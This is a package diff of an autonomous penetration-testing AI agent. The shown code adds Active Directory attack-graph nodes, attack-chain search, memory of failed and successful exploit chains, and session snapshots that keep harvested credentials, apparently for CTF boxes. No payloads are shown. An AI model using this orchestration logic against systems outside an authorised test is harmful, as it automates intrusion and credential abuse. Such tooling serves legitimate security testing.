pentesting 0.56.7 → 0.70.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +20 -0
- package/dist/main.js +1384 -707
- package/dist/prompts/base.md +51 -79
- package/dist/prompts/offensive-playbook.md +139 -47
- package/dist/prompts/strategist-system.md +78 -33
- package/dist/prompts/techniques/ad-attack.md +114 -9
- package/dist/prompts/techniques/auth-access.md +165 -21
- package/dist/prompts/techniques/enterprise-pentest.md +175 -0
- package/dist/prompts/techniques/injection.md +4 -0
- package/dist/prompts/techniques/network-svc.md +4 -0
- package/dist/prompts/techniques/pivoting.md +205 -0
- package/dist/prompts/techniques/privesc.md +4 -0
- package/dist/prompts/techniques/pwn.md +187 -3
- package/dist/prompts/techniques/shells.md +4 -0
- package/dist/prompts/zero-day.md +125 -0
- package/package.json +2 -2
package/dist/main.js
CHANGED
|
@@ -239,7 +239,13 @@ var SPECIAL_FILES = {
|
|
|
239
239
|
/** Persistent knowledge store */
|
|
240
240
|
PERSISTENT_KNOWLEDGE: "persistent-knowledge.json",
|
|
241
241
|
/** Debug log file */
|
|
242
|
-
DEBUG_LOG: "debug.log"
|
|
242
|
+
DEBUG_LOG: "debug.log",
|
|
243
|
+
/**
|
|
244
|
+
* Session snapshot for Insane-level long session resumption (3차).
|
|
245
|
+
* Stores current phase, achieved foothold, next steps, credentials.
|
|
246
|
+
* Written by PlaybookSynthesizer on flag capture / manual update_mission.
|
|
247
|
+
*/
|
|
248
|
+
SESSION_SNAPSHOT: "session-snapshot.json"
|
|
243
249
|
};
|
|
244
250
|
|
|
245
251
|
// src/shared/constants/files/patterns.ts
|
|
@@ -341,6 +347,9 @@ function initDebugLogger() {
|
|
|
341
347
|
function debugLog(category, message, data) {
|
|
342
348
|
logger.log(category, message, data);
|
|
343
349
|
}
|
|
350
|
+
function flowLog(actor, direction, store, detail) {
|
|
351
|
+
logger.log("flow", `${actor} ${direction} ${store}: ${detail}`);
|
|
352
|
+
}
|
|
344
353
|
|
|
345
354
|
// src/shared/utils/config/env.ts
|
|
346
355
|
var ENV_KEYS = {
|
|
@@ -621,7 +630,11 @@ var DISPLAY_LIMITS = {
|
|
|
621
630
|
/** Max evidence items to show in finding preview */
|
|
622
631
|
EVIDENCE_ITEMS_PREVIEW: 3,
|
|
623
632
|
/** Max characters per evidence item in preview */
|
|
624
|
-
EVIDENCE_PREVIEW_LENGTH: 120
|
|
633
|
+
EVIDENCE_PREVIEW_LENGTH: 120,
|
|
634
|
+
/** Max characters for API error response body */
|
|
635
|
+
API_ERROR_PREVIEW: 500,
|
|
636
|
+
/** Max characters per session/storage value in auth capture */
|
|
637
|
+
SESSION_VALUE_PREVIEW: 300
|
|
625
638
|
};
|
|
626
639
|
|
|
627
640
|
// src/shared/constants/limits/agent.ts
|
|
@@ -711,7 +724,7 @@ var INPUT_PROMPT_PATTERNS = [
|
|
|
711
724
|
|
|
712
725
|
// src/shared/constants/agent.ts
|
|
713
726
|
var APP_NAME = "Pentest AI";
|
|
714
|
-
var APP_VERSION = "0.
|
|
727
|
+
var APP_VERSION = "0.70.1";
|
|
715
728
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
716
729
|
var LLM_ROLES = {
|
|
717
730
|
SYSTEM: "system",
|
|
@@ -932,6 +945,8 @@ var TOOL_NAMES = {
|
|
|
932
945
|
ADD_TARGET: "add_target",
|
|
933
946
|
ASK_USER: "ask_user",
|
|
934
947
|
HELP: "help",
|
|
948
|
+
// Session Management (3차 Insane — long session resumption)
|
|
949
|
+
SAVE_SESSION_SNAPSHOT: "save_session_snapshot",
|
|
935
950
|
// Resource Management
|
|
936
951
|
BG_STATUS: "bg_status",
|
|
937
952
|
BG_CLEANUP: "bg_cleanup",
|
|
@@ -1108,14 +1123,18 @@ var NODE_TYPE = {
|
|
|
1108
1123
|
VULNERABILITY: "vulnerability",
|
|
1109
1124
|
ACCESS: "access",
|
|
1110
1125
|
LOOT: "loot",
|
|
1111
|
-
OSINT: "osint"
|
|
1112
|
-
|
|
1113
|
-
|
|
1114
|
-
|
|
1115
|
-
|
|
1116
|
-
|
|
1117
|
-
|
|
1118
|
-
|
|
1126
|
+
OSINT: "osint",
|
|
1127
|
+
// ─── Active Directory Node Types (2차 — Hard/Insane support) ───
|
|
1128
|
+
/** AD domain object (e.g. DOMAIN.LOCAL) */
|
|
1129
|
+
DOMAIN: "domain",
|
|
1130
|
+
/** AD user or computer account */
|
|
1131
|
+
USER_ACCOUNT: "user-account",
|
|
1132
|
+
/** Group Policy Object — may grant code exec if writable */
|
|
1133
|
+
GPO: "gpo",
|
|
1134
|
+
/** ACL entry — WriteDACL/GenericAll/etc. on another object */
|
|
1135
|
+
ACL: "acl",
|
|
1136
|
+
/** ADCS certificate template — ESC1-13 attack surface */
|
|
1137
|
+
CERTIFICATE_TEMPLATE: "certificate-template"
|
|
1119
1138
|
};
|
|
1120
1139
|
var NODE_STATUS = {
|
|
1121
1140
|
DISCOVERED: "discovered",
|
|
@@ -1326,13 +1345,21 @@ function formatFailedNode(label, reason) {
|
|
|
1326
1345
|
function recommendChains(nodes, edges) {
|
|
1327
1346
|
const chains = [];
|
|
1328
1347
|
const visited = /* @__PURE__ */ new Set();
|
|
1329
|
-
const goalTypes = [
|
|
1348
|
+
const goalTypes = [
|
|
1349
|
+
NODE_TYPE.ACCESS,
|
|
1350
|
+
NODE_TYPE.LOOT,
|
|
1351
|
+
NODE_TYPE.DOMAIN,
|
|
1352
|
+
// AD Domain compromise
|
|
1353
|
+
NODE_TYPE.CERTIFICATE_TEMPLATE
|
|
1354
|
+
// ADCS attack path goal
|
|
1355
|
+
];
|
|
1330
1356
|
const entryNodes = Array.from(nodes.values()).filter(
|
|
1331
1357
|
(n) => n.type === NODE_TYPE.HOST || n.type === NODE_TYPE.SERVICE || n.type === NODE_TYPE.CREDENTIAL || n.type === NODE_TYPE.OSINT
|
|
1332
1358
|
);
|
|
1359
|
+
const ctx = { nodes, edges, goalTypes, results: chains };
|
|
1333
1360
|
for (const entry of entryNodes) {
|
|
1334
1361
|
visited.clear();
|
|
1335
|
-
dfsChains(entry.id,
|
|
1362
|
+
dfsChains(entry.id, [], [], visited, ctx);
|
|
1336
1363
|
}
|
|
1337
1364
|
const seen = /* @__PURE__ */ new Set();
|
|
1338
1365
|
const unique = chains.filter((c) => {
|
|
@@ -1345,7 +1372,8 @@ function recommendChains(nodes, edges) {
|
|
|
1345
1372
|
);
|
|
1346
1373
|
return unique.slice(0, GRAPH_LIMITS.MAX_CHAINS);
|
|
1347
1374
|
}
|
|
1348
|
-
function dfsChains(nodeId,
|
|
1375
|
+
function dfsChains(nodeId, path2, pathEdges, visited, ctx) {
|
|
1376
|
+
const { nodes, edges, goalTypes, results } = ctx;
|
|
1349
1377
|
if (visited.has(nodeId)) return;
|
|
1350
1378
|
if (path2.length >= GRAPH_LIMITS.MAX_CHAIN_DEPTH) return;
|
|
1351
1379
|
const node = nodes.get(nodeId);
|
|
@@ -1369,7 +1397,7 @@ function dfsChains(nodeId, nodes, edges, path2, pathEdges, visited, results, goa
|
|
|
1369
1397
|
(e) => e.from === nodeId && e.status !== EDGE_STATUS.FAILED
|
|
1370
1398
|
);
|
|
1371
1399
|
for (const edge of outEdges) {
|
|
1372
|
-
dfsChains(edge.to,
|
|
1400
|
+
dfsChains(edge.to, path2, [...pathEdges, edge], visited, ctx);
|
|
1373
1401
|
}
|
|
1374
1402
|
path2.pop();
|
|
1375
1403
|
visited.delete(nodeId);
|
|
@@ -1387,8 +1415,48 @@ function estimateImpact(node) {
|
|
|
1387
1415
|
if (sev === SEVERITY.HIGH) return SEVERITY.HIGH;
|
|
1388
1416
|
if (sev === SEVERITY.MEDIUM) return SEVERITY.MEDIUM;
|
|
1389
1417
|
}
|
|
1418
|
+
if (node.type === NODE_TYPE.DOMAIN) return SEVERITY.CRITICAL;
|
|
1419
|
+
if (node.type === NODE_TYPE.CERTIFICATE_TEMPLATE) return SEVERITY.HIGH;
|
|
1390
1420
|
return SEVERITY.LOW;
|
|
1391
1421
|
}
|
|
1422
|
+
function extractSuccessfulChain(nodes, edges) {
|
|
1423
|
+
const MIN_CHAIN_LENGTH = 2;
|
|
1424
|
+
const succeededNodes = Array.from(nodes.values()).filter((n) => n.status === NODE_STATUS.SUCCEEDED);
|
|
1425
|
+
if (succeededNodes.length < MIN_CHAIN_LENGTH) return null;
|
|
1426
|
+
const succeededEdges = edges.filter((e) => e.status === EDGE_STATUS.SUCCEEDED);
|
|
1427
|
+
const chainLabels = [];
|
|
1428
|
+
const toolsUsed = [];
|
|
1429
|
+
const visited = /* @__PURE__ */ new Set();
|
|
1430
|
+
const incomingTargets = new Set(succeededEdges.map((e) => e.to));
|
|
1431
|
+
const entryNodes = succeededNodes.filter((n) => !incomingTargets.has(n.id));
|
|
1432
|
+
const queue = entryNodes.length > 0 ? [entryNodes[0]] : [succeededNodes[0]];
|
|
1433
|
+
while (queue.length > 0) {
|
|
1434
|
+
const current = queue.shift();
|
|
1435
|
+
if (visited.has(current.id)) continue;
|
|
1436
|
+
visited.add(current.id);
|
|
1437
|
+
const abstractLabel = abstractifyLabel(current.label);
|
|
1438
|
+
chainLabels.push(abstractLabel);
|
|
1439
|
+
if (current.technique) toolsUsed.push(current.technique.split(" ")[0]);
|
|
1440
|
+
const nextEdges = succeededEdges.filter((e) => e.from === current.id);
|
|
1441
|
+
for (const edge of nextEdges) {
|
|
1442
|
+
const nextNode = nodes.get(edge.to);
|
|
1443
|
+
if (nextNode && nextNode.status === NODE_STATUS.SUCCEEDED) {
|
|
1444
|
+
if (edge.action) toolsUsed.push(edge.action.split(" ")[0]);
|
|
1445
|
+
queue.push(nextNode);
|
|
1446
|
+
}
|
|
1447
|
+
}
|
|
1448
|
+
}
|
|
1449
|
+
if (chainLabels.length < MIN_CHAIN_LENGTH) return null;
|
|
1450
|
+
const serviceNodes = succeededNodes.filter((n) => n.type === NODE_TYPE.SERVICE);
|
|
1451
|
+
const serviceProfile = serviceNodes.length > 0 ? serviceNodes.map((n) => abstractifyLabel(n.label)).join(" + ") : "unknown";
|
|
1452
|
+
const chainSummary = chainLabels.join(" \u2192 ");
|
|
1453
|
+
const uniqueTools = [...new Set(toolsUsed.filter(Boolean))];
|
|
1454
|
+
return { serviceProfile, chainSummary, toolsUsed: uniqueTools };
|
|
1455
|
+
}
|
|
1456
|
+
function abstractifyLabel(label) {
|
|
1457
|
+
let result = label.replace(/^(host|service|vulnerability|access|loot|osint|credential|cve_search):/i, "").replace(/^https?:\/\/|^ftp:\/\//gi, "").replace(/\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d+)?\b/g, "").replace(/:\d{2,5}\b/g, "").replace(/\b[0-9a-f]{16,}\b/gi, "").replace(/(\d+\.\d+)\.\d+/g, "$1.x").trim().replace(/\s+/g, " ");
|
|
1458
|
+
return result || label;
|
|
1459
|
+
}
|
|
1392
1460
|
|
|
1393
1461
|
// src/shared/utils/attack-graph/prompt-formatter.ts
|
|
1394
1462
|
function formatGraphForPrompt(nodes, edges, failedPaths) {
|
|
@@ -1461,7 +1529,13 @@ var TYPE_ICONS = {
|
|
|
1461
1529
|
[NODE_TYPE.CREDENTIAL]: "\u{1F511}",
|
|
1462
1530
|
[NODE_TYPE.ACCESS]: "\u{1F513}",
|
|
1463
1531
|
[NODE_TYPE.LOOT]: "\u{1F3F4}",
|
|
1464
|
-
[NODE_TYPE.OSINT]: "\u{1F50D}"
|
|
1532
|
+
[NODE_TYPE.OSINT]: "\u{1F50D}",
|
|
1533
|
+
// AD node icons (2차 — Hard/Insane support)
|
|
1534
|
+
[NODE_TYPE.DOMAIN]: "\u{1F3F0}",
|
|
1535
|
+
[NODE_TYPE.USER_ACCOUNT]: "\u{1F464}",
|
|
1536
|
+
[NODE_TYPE.GPO]: "\u{1F4CB}",
|
|
1537
|
+
[NODE_TYPE.ACL]: "\u{1F510}",
|
|
1538
|
+
[NODE_TYPE.CERTIFICATE_TEMPLATE]: "\u{1F4DC}"
|
|
1465
1539
|
};
|
|
1466
1540
|
var STATUS_ICONS = {
|
|
1467
1541
|
[NODE_STATUS.DISCOVERED]: "\u25CB",
|
|
@@ -1897,6 +1971,19 @@ var AttackGraph = class {
|
|
|
1897
1971
|
addOSINT(category, detail, data = {}) {
|
|
1898
1972
|
return registerOSINT(this.graphContainer, category, detail, data);
|
|
1899
1973
|
}
|
|
1974
|
+
/**
|
|
1975
|
+
* Record an Active Directory object (domain, user-account, GPO, ACL, certificate-template).
|
|
1976
|
+
*
|
|
1977
|
+
* WHY: AD attacks chain through complex object relationships (ACL → user → cert → DA).
|
|
1978
|
+
* Tracking these as graph nodes lets the Strategist see multi-hop AD paths.
|
|
1979
|
+
*
|
|
1980
|
+
* type: 'domain' | 'user-account' | 'gpo' | 'acl' | 'certificate-template'
|
|
1981
|
+
* label: human-readable name (e.g. "CORP.LOCAL", "svc_sql", "ESC1-vulnerable")
|
|
1982
|
+
* data: freeform metadata (members, rights, target, confidence, etc.)
|
|
1983
|
+
*/
|
|
1984
|
+
addDomainObject(type, label, data = {}) {
|
|
1985
|
+
return this.addNode(type, label, { adObject: true, ...data });
|
|
1986
|
+
}
|
|
1900
1987
|
// ─── Chain Discovery (DFS) ──────────────────────────────────
|
|
1901
1988
|
/**
|
|
1902
1989
|
* Find all viable attack paths using DFS.
|
|
@@ -2011,6 +2098,9 @@ function formatFingerprint(fp) {
|
|
|
2011
2098
|
}
|
|
2012
2099
|
|
|
2013
2100
|
// src/shared/utils/agent-memory/working-memory.ts
|
|
2101
|
+
var PRUNE_IMPORTANCE_WEIGHT = 0.7;
|
|
2102
|
+
var PRUNE_RECENCY_WEIGHT = 0.3;
|
|
2103
|
+
var PRUNE_WINDOW_MS = 6e5;
|
|
2014
2104
|
var WorkingMemory = class {
|
|
2015
2105
|
entries = [];
|
|
2016
2106
|
maxEntries = MEMORY_LIMITS.WORKING_MEMORY_MAX_ENTRIES;
|
|
@@ -2032,8 +2122,9 @@ var WorkingMemory = class {
|
|
|
2032
2122
|
* and "hydra with darkweb2017.txt" are stored as distinct attempts.
|
|
2033
2123
|
* The LLM can see what parameter combinations have been tried and pick new ones.
|
|
2034
2124
|
*/
|
|
2035
|
-
recordFailure(tool, command, error) {
|
|
2125
|
+
recordFailure(tool, command, error, hypothesizedReason) {
|
|
2036
2126
|
const fp = extractFingerprint(tool, command);
|
|
2127
|
+
fp.hypothesizedReason = hypothesizedReason;
|
|
2037
2128
|
const fpLabel = formatFingerprint(fp);
|
|
2038
2129
|
const entry = {
|
|
2039
2130
|
id: `wm_${Date.now()}_${Math.random().toString(36).slice(2, 6)}`,
|
|
@@ -2066,12 +2157,32 @@ var WorkingMemory = class {
|
|
|
2066
2157
|
(e) => e.category === "failure" && e.fingerprint != null && fingerprintsMatch(e.fingerprint, fp)
|
|
2067
2158
|
);
|
|
2068
2159
|
}
|
|
2160
|
+
/**
|
|
2161
|
+
* 사후 보완: Analyst가 분류한 hypothesizedReason을 기존 실패 항목에 추가한다.
|
|
2162
|
+
*
|
|
2163
|
+
* WHY: pipeline.ts에서 recordFailure()가 먼저 호출되고, Analyst 분석은
|
|
2164
|
+
* 비동기로 나중에 완료된다. command 매칭으로 최근 실패 fingerprint를 찾아
|
|
2165
|
+
* hypothesizedReason을 보완한다. 기존 reason이 있으면 덮어쓰지 않는다.
|
|
2166
|
+
*/
|
|
2167
|
+
updateLastFailureReason(command, hypothesizedReason) {
|
|
2168
|
+
const effectiveTool = command.split(/\s+/)[0] || "";
|
|
2169
|
+
const fp = extractFingerprint(effectiveTool, command);
|
|
2170
|
+
for (let i = this.entries.length - 1; i >= 0; i--) {
|
|
2171
|
+
const entry = this.entries[i];
|
|
2172
|
+
if (entry.category === "failure" && entry.fingerprint && fingerprintsMatch(entry.fingerprint, fp)) {
|
|
2173
|
+
if (!entry.fingerprint.hypothesizedReason) {
|
|
2174
|
+
entry.fingerprint.hypothesizedReason = hypothesizedReason;
|
|
2175
|
+
}
|
|
2176
|
+
break;
|
|
2177
|
+
}
|
|
2178
|
+
}
|
|
2179
|
+
}
|
|
2069
2180
|
/** Internal prune helper (used by both add() and recordFailure()) */
|
|
2070
2181
|
pruneIfNeeded() {
|
|
2071
2182
|
if (this.entries.length > this.maxEntries) {
|
|
2072
2183
|
this.entries.sort((a, b) => {
|
|
2073
|
-
const aScore = a.importance *
|
|
2074
|
-
const bScore = b.importance *
|
|
2184
|
+
const aScore = a.importance * PRUNE_IMPORTANCE_WEIGHT + (1 - (Date.now() - a.timestamp) / PRUNE_WINDOW_MS) * PRUNE_RECENCY_WEIGHT;
|
|
2185
|
+
const bScore = b.importance * PRUNE_IMPORTANCE_WEIGHT + (1 - (Date.now() - b.timestamp) / PRUNE_WINDOW_MS) * PRUNE_RECENCY_WEIGHT;
|
|
2075
2186
|
return bScore - aScore;
|
|
2076
2187
|
});
|
|
2077
2188
|
this.entries = this.entries.slice(0, this.maxEntries);
|
|
@@ -2102,36 +2213,47 @@ var WorkingMemory = class {
|
|
|
2102
2213
|
const successes = this.entries.filter((e) => e.category === "success");
|
|
2103
2214
|
const insights = this.entries.filter((e) => e.category === "insight" || e.category === "discovery");
|
|
2104
2215
|
const lines = ["<working-memory>"];
|
|
2105
|
-
|
|
2106
|
-
|
|
2107
|
-
|
|
2108
|
-
|
|
2109
|
-
|
|
2110
|
-
|
|
2111
|
-
|
|
2112
|
-
|
|
2113
|
-
|
|
2216
|
+
lines.push(...this.buildFailuresSection(failures));
|
|
2217
|
+
lines.push(...this.buildSuccessesSection(successes));
|
|
2218
|
+
lines.push(...this.buildInsightsSection(insights));
|
|
2219
|
+
lines.push("</working-memory>");
|
|
2220
|
+
return lines.join("\n");
|
|
2221
|
+
}
|
|
2222
|
+
buildFailuresSection(failures) {
|
|
2223
|
+
if (failures.length === 0) return [];
|
|
2224
|
+
const lines = [];
|
|
2225
|
+
lines.push(`\u26A0\uFE0F FAILED ATTEMPTS (${failures.length} \u2014 DO NOT REPEAT EXACT SAME PARAMS):`);
|
|
2226
|
+
for (const f of failures.slice(-DISPLAY_LIMITS.RECENT_FAILURES)) {
|
|
2227
|
+
const fp = f.fingerprint;
|
|
2228
|
+
if (fp) {
|
|
2229
|
+
const reason = fp.hypothesizedReason ? ` [${fp.hypothesizedReason}]` : "";
|
|
2230
|
+
lines.push(` \u2717 ${formatFingerprint(fp)}${reason} \u2192 ${f.content.split("\u2192").pop()?.trim() || ""}`);
|
|
2231
|
+
} else {
|
|
2232
|
+
lines.push(` \u2717 ${f.content}`);
|
|
2114
2233
|
}
|
|
2115
|
-
lines.push(...this.buildAttackCoverageLines(failures));
|
|
2116
2234
|
}
|
|
2235
|
+
lines.push(...this.buildAttackCoverageLines(failures));
|
|
2117
2236
|
const consecutiveFails = this.getConsecutiveFailures();
|
|
2118
2237
|
if (consecutiveFails >= MEMORY_LIMITS.CONSECUTIVE_FAIL_THRESHOLD) {
|
|
2119
2238
|
lines.push(`\u{1F534} ${consecutiveFails} CONSECUTIVE FAILURES \u2014 consider changing approach or parameters`);
|
|
2120
2239
|
}
|
|
2121
|
-
|
|
2122
|
-
|
|
2123
|
-
|
|
2124
|
-
|
|
2125
|
-
|
|
2240
|
+
return lines;
|
|
2241
|
+
}
|
|
2242
|
+
buildSuccessesSection(successes) {
|
|
2243
|
+
if (successes.length === 0) return [];
|
|
2244
|
+
const lines = [`\u2705 RECENT SUCCESSES (${successes.length}):`];
|
|
2245
|
+
for (const s of successes.slice(-DISPLAY_LIMITS.RECENT_SUCCESSES)) {
|
|
2246
|
+
lines.push(` \u2713 ${s.content}`);
|
|
2126
2247
|
}
|
|
2127
|
-
|
|
2128
|
-
|
|
2129
|
-
|
|
2130
|
-
|
|
2131
|
-
|
|
2248
|
+
return lines;
|
|
2249
|
+
}
|
|
2250
|
+
buildInsightsSection(insights) {
|
|
2251
|
+
if (insights.length === 0) return [];
|
|
2252
|
+
const lines = ["\u{1F4A1} INSIGHTS:"];
|
|
2253
|
+
for (const i of insights.slice(-DISPLAY_LIMITS.RECENT_INSIGHTS)) {
|
|
2254
|
+
lines.push(` \u2192 ${i.content}`);
|
|
2132
2255
|
}
|
|
2133
|
-
lines
|
|
2134
|
-
return lines.join("\n");
|
|
2256
|
+
return lines;
|
|
2135
2257
|
}
|
|
2136
2258
|
/**
|
|
2137
2259
|
* Build ATTACK COVERAGE lines grouped by tool+target.
|
|
@@ -2227,9 +2349,38 @@ var EpisodicMemory = class {
|
|
|
2227
2349
|
};
|
|
2228
2350
|
|
|
2229
2351
|
// src/shared/utils/agent-memory/persistent-memory.ts
|
|
2230
|
-
import { existsSync as existsSync2, readFileSync, writeFileSync as writeFileSync2 } from "fs";
|
|
2352
|
+
import { existsSync as existsSync2, readFileSync, writeFileSync as writeFileSync2, unlinkSync } from "fs";
|
|
2231
2353
|
import { join as join2 } from "path";
|
|
2354
|
+
|
|
2355
|
+
// src/shared/utils/agent-memory/similarity.ts
|
|
2356
|
+
var JACCARD_MATCH_THRESHOLD = 0.15;
|
|
2357
|
+
var MIN_TOKEN_LENGTH = 2;
|
|
2358
|
+
function tokenize(s) {
|
|
2359
|
+
return new Set(
|
|
2360
|
+
s.toLowerCase().replace(/[^a-z0-9\s]/g, " ").split(/\s+/).filter((t) => t.length >= MIN_TOKEN_LENGTH)
|
|
2361
|
+
);
|
|
2362
|
+
}
|
|
2363
|
+
function jaccardSimilarity(a, b) {
|
|
2364
|
+
const setA = tokenize(a);
|
|
2365
|
+
const setB = tokenize(b);
|
|
2366
|
+
if (setA.size === 0 || setB.size === 0) return 0;
|
|
2367
|
+
let intersection = 0;
|
|
2368
|
+
for (const token of setA) {
|
|
2369
|
+
if (setB.has(token)) intersection++;
|
|
2370
|
+
}
|
|
2371
|
+
const union = setA.size + setB.size - intersection;
|
|
2372
|
+
return union === 0 ? 0 : intersection / union;
|
|
2373
|
+
}
|
|
2374
|
+
function matchesServiceProfile(serviceProfile, services) {
|
|
2375
|
+
if (services.length === 0) return false;
|
|
2376
|
+
const query = services.join(" ");
|
|
2377
|
+
return jaccardSimilarity(serviceProfile, query) >= JACCARD_MATCH_THRESHOLD;
|
|
2378
|
+
}
|
|
2379
|
+
|
|
2380
|
+
// src/shared/utils/agent-memory/persistent-memory.ts
|
|
2232
2381
|
var MEMORY_FILE = join2(WORKSPACE.MEMORY, SPECIAL_FILES.PERSISTENT_KNOWLEDGE);
|
|
2382
|
+
var SNAPSHOT_FILE = join2(WORKSPACE.MEMORY, SPECIAL_FILES.SESSION_SNAPSHOT);
|
|
2383
|
+
var MAX_PLAYBOOK_DISPLAY = 3;
|
|
2233
2384
|
var PersistentMemory = class {
|
|
2234
2385
|
knowledge;
|
|
2235
2386
|
constructor() {
|
|
@@ -2287,7 +2438,37 @@ var PersistentMemory = class {
|
|
|
2287
2438
|
* Clear all knowledge (for testing isolation).
|
|
2288
2439
|
*/
|
|
2289
2440
|
clear() {
|
|
2290
|
-
this.knowledge = { successfulTechniques: [], failurePatterns: [], techFacts: [] };
|
|
2441
|
+
this.knowledge = { successfulTechniques: [], failurePatterns: [], techFacts: [], exploitChains: [] };
|
|
2442
|
+
this.save();
|
|
2443
|
+
try {
|
|
2444
|
+
if (existsSync2(SNAPSHOT_FILE)) {
|
|
2445
|
+
unlinkSync(SNAPSHOT_FILE);
|
|
2446
|
+
}
|
|
2447
|
+
} catch {
|
|
2448
|
+
}
|
|
2449
|
+
}
|
|
2450
|
+
/**
|
|
2451
|
+
* Record a successful exploit chain for session-level reuse (CurriculumPT §).
|
|
2452
|
+
*
|
|
2453
|
+
* WHY: 단일 기법 저장(recordSuccess)과 달리, 체인 전체를 저장한다.
|
|
2454
|
+
* 다음 세션에서 동일 서비스 스택 조우 시 체인 첫 단계부터 시도할 수 있다.
|
|
2455
|
+
*/
|
|
2456
|
+
recordExploitChain(serviceProfile, chainSummary, toolsUsed) {
|
|
2457
|
+
const existing = this.knowledge.exploitChains.find(
|
|
2458
|
+
(c) => c.serviceProfile === serviceProfile && c.chainSummary === chainSummary
|
|
2459
|
+
);
|
|
2460
|
+
if (existing) {
|
|
2461
|
+
existing.successCount++;
|
|
2462
|
+
existing.lastSucceededAt = Date.now();
|
|
2463
|
+
} else {
|
|
2464
|
+
this.knowledge.exploitChains.push({
|
|
2465
|
+
serviceProfile,
|
|
2466
|
+
chainSummary,
|
|
2467
|
+
toolsUsed,
|
|
2468
|
+
successCount: 1,
|
|
2469
|
+
lastSucceededAt: Date.now()
|
|
2470
|
+
});
|
|
2471
|
+
}
|
|
2291
2472
|
this.save();
|
|
2292
2473
|
}
|
|
2293
2474
|
/**
|
|
@@ -2301,22 +2482,94 @@ var PersistentMemory = class {
|
|
|
2301
2482
|
relevant.push(`${svc}: ${techniques.map((t) => `${t.technique} (${t.successCount}x)`).join(", ")}`);
|
|
2302
2483
|
}
|
|
2303
2484
|
}
|
|
2304
|
-
|
|
2305
|
-
|
|
2306
|
-
|
|
2307
|
-
|
|
2308
|
-
|
|
2309
|
-
|
|
2310
|
-
|
|
2485
|
+
const matchedChains = this.knowledge.exploitChains.filter(
|
|
2486
|
+
(chain) => matchesServiceProfile(chain.serviceProfile, services)
|
|
2487
|
+
).sort((a, b) => b.successCount - a.successCount).slice(0, MAX_PLAYBOOK_DISPLAY);
|
|
2488
|
+
if (relevant.length === 0 && matchedChains.length === 0) return "";
|
|
2489
|
+
const sections = ["<persistent-memory>"];
|
|
2490
|
+
if (relevant.length > 0) {
|
|
2491
|
+
sections.push(
|
|
2492
|
+
"PREVIOUSLY SUCCESSFUL TECHNIQUES:",
|
|
2493
|
+
...relevant.map((r) => ` \u{1F4DA} ${r}`)
|
|
2494
|
+
);
|
|
2495
|
+
}
|
|
2496
|
+
if (matchedChains.length > 0) {
|
|
2497
|
+
sections.push(
|
|
2498
|
+
"EXPLOIT CHAIN PLAYBOOKS (matched to current target):",
|
|
2499
|
+
...matchedChains.map(
|
|
2500
|
+
(c) => ` \u{1F517} [${c.serviceProfile}] ${c.chainSummary} (${c.successCount}x) tools:[${c.toolsUsed.join(",")}]`
|
|
2501
|
+
)
|
|
2502
|
+
);
|
|
2503
|
+
}
|
|
2504
|
+
sections.push("</persistent-memory>");
|
|
2505
|
+
return sections.join("\n");
|
|
2506
|
+
}
|
|
2507
|
+
/**
|
|
2508
|
+
* Save a session snapshot for long-session resumption (3차 Insane protocol).
|
|
2509
|
+
*
|
|
2510
|
+
* WHY: Insane-level boxes require multi-hour sessions spanning restarts.
|
|
2511
|
+
* The snapshot stores WHERE we are (phase), WHAT we achieved (foothold),
|
|
2512
|
+
* WHAT'S NEXT (prioritized list), and WHAT credentials are usable.
|
|
2513
|
+
* On session start, Strategist reads this and resumes immediately.
|
|
2514
|
+
*/
|
|
2515
|
+
saveSessionSnapshot(snapshot) {
|
|
2516
|
+
try {
|
|
2517
|
+
ensureDirExists(WORKSPACE.MEMORY);
|
|
2518
|
+
writeFileSync2(SNAPSHOT_FILE, JSON.stringify(snapshot, null, 2));
|
|
2519
|
+
} catch {
|
|
2520
|
+
}
|
|
2521
|
+
}
|
|
2522
|
+
/**
|
|
2523
|
+
* Load the most recent session snapshot (if any).
|
|
2524
|
+
*/
|
|
2525
|
+
loadSessionSnapshot() {
|
|
2526
|
+
try {
|
|
2527
|
+
if (existsSync2(SNAPSHOT_FILE)) {
|
|
2528
|
+
return JSON.parse(readFileSync(SNAPSHOT_FILE, "utf-8"));
|
|
2529
|
+
}
|
|
2530
|
+
} catch {
|
|
2531
|
+
}
|
|
2532
|
+
return null;
|
|
2533
|
+
}
|
|
2534
|
+
/**
|
|
2535
|
+
* Format session snapshot for Strategist prompt injection.
|
|
2536
|
+
* Returns empty string if no snapshot exists.
|
|
2537
|
+
*/
|
|
2538
|
+
snapshotToPrompt() {
|
|
2539
|
+
const snap = this.loadSessionSnapshot();
|
|
2540
|
+
if (!snap) return "";
|
|
2541
|
+
const lines = [
|
|
2542
|
+
"<session-snapshot>",
|
|
2543
|
+
`TARGET: ${snap.target} PHASE: ${snap.phase} SAVED: ${new Date(snap.savedAt).toISOString()}`,
|
|
2544
|
+
"",
|
|
2545
|
+
"ACHIEVED:",
|
|
2546
|
+
...snap.achieved.map((a) => ` \u2705 ${a}`),
|
|
2547
|
+
"",
|
|
2548
|
+
"NEXT PRIORITIES (resume here):",
|
|
2549
|
+
...snap.next.map((n, i) => ` ${i + 1}. ${n}`)
|
|
2550
|
+
];
|
|
2551
|
+
if (snap.credentials.length > 0) {
|
|
2552
|
+
lines.push("", "USABLE CREDENTIALS:");
|
|
2553
|
+
snap.credentials.forEach((c) => lines.push(` \u{1F511} ${c}`));
|
|
2554
|
+
}
|
|
2555
|
+
if (snap.notes) {
|
|
2556
|
+
lines.push("", `NOTES: ${snap.notes}`);
|
|
2557
|
+
}
|
|
2558
|
+
lines.push("</session-snapshot>");
|
|
2559
|
+
return lines.join("\n");
|
|
2311
2560
|
}
|
|
2312
2561
|
load() {
|
|
2313
2562
|
try {
|
|
2314
2563
|
if (existsSync2(MEMORY_FILE)) {
|
|
2315
|
-
|
|
2564
|
+
const data = JSON.parse(readFileSync(MEMORY_FILE, "utf-8"));
|
|
2565
|
+
return {
|
|
2566
|
+
...data,
|
|
2567
|
+
exploitChains: data.exploitChains ?? []
|
|
2568
|
+
};
|
|
2316
2569
|
}
|
|
2317
2570
|
} catch {
|
|
2318
2571
|
}
|
|
2319
|
-
return { successfulTechniques: [], failurePatterns: [], techFacts: [] };
|
|
2572
|
+
return { successfulTechniques: [], failurePatterns: [], techFacts: [], exploitChains: [] };
|
|
2320
2573
|
}
|
|
2321
2574
|
